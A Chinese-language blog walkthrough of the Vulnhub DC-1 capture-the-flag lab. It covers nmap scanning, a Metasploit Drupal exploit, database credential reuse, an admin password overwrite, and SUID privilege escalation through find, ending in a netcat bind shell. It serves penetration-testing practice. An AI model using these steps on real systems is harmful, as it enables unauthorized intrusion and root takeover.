Vulnhub渗透测试:DC-1

2020-11-04 11:36:28 浏览数 (1)

Vulnhub

Vulnhub是一个特别好的渗透测试实战网站,提供了许多带有漏洞的渗透测试虚拟机下载。 新手入门DC-1:下载地址

https://www.vulnhub.com/entry/dc-1-1,292/

环境搭建

攻击机kali IP 192.168.222.201 DC-1 IP 192.168.222.131 我们下载好DC-1之后,将.ova文件导入VMware中,网卡模式设置为NAT,让其自动获取IP,搭建好之后我们是没办法登录进去获取到DC-1的IP,所以我们就可以紧接着进行下面的操作。

信息收集

由于我们并不知道DC-1的IP是什么,所以我们需要通过扫描工具NMAP来进行扫描

代码语言:javascript复制
nmap -sP 192.168.222.0/24

来扫描内网内的存活IP。

成功扫描出DC-1的主机IP,下一步我们可以来看这个靶机开启了哪些端口。

代码语言:javascript复制
nmap -sV 192.168.222.131
这个是简单的能看出开启的端口号,但并不能看到开启了什么服务
代码语言:javascript复制
nmap -A -T4 -p- 192.168.222.131

漏洞利用

我们可以看到在80端口,存在着Drupal的服务,我们可以访问看下。

我们不知道账号和密码,但是知道了这个服务,谷歌一波知道了这个服务版本的RCE漏洞,紧接着我们可以尝试利用下。

初渗透

然后使用MSF进行利用。

使用第四个来打。

输入shell后利用Python来获取到一枚sh.

代码语言:javascript复制
python -c "import pty;pty.spawn('/bin/bash')"

ls后找到flag1.txt,我们查看这个文件。

看到提示是关于cms的,我们应该能找到相关的配置文件。在sites这个文件夹中发现了default文件夹,里面就是我们这个cms的配置文件。

后渗透

我们获取到了数据库的配置文件,所以我们可以连接数据库,看能否在数据库里得到些什么。 使用mysql -u dbuser -p R0ck3t 登录数据库

成功登录!我们接着对数据库进行操作。

查询表名,发现了users表。然后使用查询语句查询表里面的所有。

代码语言:javascript复制
select * from users;

发现了两个用户一个是admin、一个是Fred,但是我们看到他们的密码都经过了加密,应该是这个服务专属的加密方式,在scripts/中找到了加密的脚本。

我们可以使用这个加密脚本加密一个铭文,然后再数据库内更新admin的密码,这样我们就可以使用我们加密的明文来进行登录了。 我们按照我们的想法来,第一步先生成一个我们已知的明文密码

第二步,利用mysql来更新admin账户的密码。从而进行登录。

登陆成功,找到flag3!

提示中需要寻找密码、需要-exec命令发现隐藏的部分 再home目录下发现了flag4

根据提示,可以知道最终的flag在root目录下。我们要做的就是要提权。 这里要采用suid提权的方法 学习地址 查找具有root权限的suid

代码语言:javascript复制
find / -perm -u=s -type f 2>/dev/null

利用find提权

可以查看下find是否以root权限执行。 命令:

代码语言:javascript复制
find /var/www/scripts -exec whoami ;

反弹shell

代码语言:javascript复制
find /var/www/scripts -exec nc -lvp 5000 -e /bin/sh ;

总结

练习结束,练习的过程是很好的学习的过程

在这个靶机的练习中,主要的点就是Drupal CMS的历史漏洞以及suid的提权

0 人点赞